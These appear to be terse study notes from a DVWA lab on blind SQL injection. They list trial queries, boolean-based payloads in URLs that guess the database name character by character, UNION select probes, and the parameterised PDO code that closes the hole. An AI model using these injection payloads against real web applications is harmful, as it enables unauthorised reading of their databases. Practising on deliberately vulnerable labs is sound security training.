【DVWA】【SQL Injection(Blind)】SQL盲注 Low Medium High Impossible

http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1‘&Submit=Submit#

select first_name from users where user_id=1;　　　　　　　　　　　　　 #Success Return admin
select first_name from users where user_id="1‘";　　　　　　　　　　　　#Success Return admin
select first_name from users where user_id=‘1‘‘;　　　　　　　　　　　　#Fail
select first_name from users where user_id=(1‘);　　　　　　　　　　　　#Fail
select first_name from users where user_id=((1‘));　　　　　　　　　　　#Fail
select first_name from users where user_id=((‘1‘‘));　　　　　　　　　　#Fail

http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1‘%23&Submit=Submit#

http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1‘ and ascii(substr(database(),1,1))=100%23&Submit=Submit#

http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1‘ and ascii(substr(database(),1,1))=99%23&Submit=Submit#

id=0 union select 1,2#&Submit=Submit

id=1 and ascii(substr(database(),1,1))=100#&Submit=Submit

http://localhost/DVWA-master/vulnerabilities/sqli_blind/cookie-input.php

http://localhost/DVWA-master/vulnerabilities/sqli_blind/

0‘ union select 1,2#

    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;‘ );
        $data->bindParam( ‘:id‘, $id, PDO::PARAM_INT );
        $data->execute();